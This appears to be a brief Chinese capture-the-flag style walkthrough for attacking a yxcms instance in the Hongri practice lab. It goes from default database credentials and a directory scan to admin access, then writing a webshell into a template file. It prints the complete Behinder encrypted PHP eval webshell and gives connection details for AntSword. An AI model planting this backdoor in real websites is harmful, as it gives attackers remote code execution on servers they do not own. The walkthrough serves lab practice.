2021-09-01

yxcms 红日靶场

/phpadmin

root root

御剑扫

查看beifen 解压

发现这个文件 访问
/yxcms


根据提示


进来了

写马 再用蚁剑连马

找地方传马
前台模板-》管理首页-》index_index.php 不一定非是这个
只要是php后缀 能写东西 而且是在源码里有的文件 不是别人写的 yxcms文件里能找到的 ，用everything可以搜到的

写一句话木马
everthing搜该文件的路径 为连蚁剑做准备

据此找到路径
http://192.168.31.25/yxcms\protected\apps\default\view\default\index_index.php
用蚁剑连 该地址 密码123

或者换冰蝎连马

冰蝎 sever里找php文件 复制下来写马

冰蝎码

<?php
@error_reporting(0);
session_start();
    $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond
	$_SESSION['k']=$key;
	session_write_close();
	$post=file_get_contents("php://input");
	if(!extension_loaded('openssl'))
	{
		$t="base64_"."decode";
		$post=$t($post."");
		
		for($i=0;$i<strlen($post);$i++) {
    			 $post[$i] = $post[$i]^$key[$i+1&15]; 
    			}
	}
	else
	{
		$post=openssl_decrypt($post, "AES128", $key);
	}
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
	class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
?>

http://192.168.31.25/yxcms\protected\apps\default\view\default\testa.php

思路

示意图


886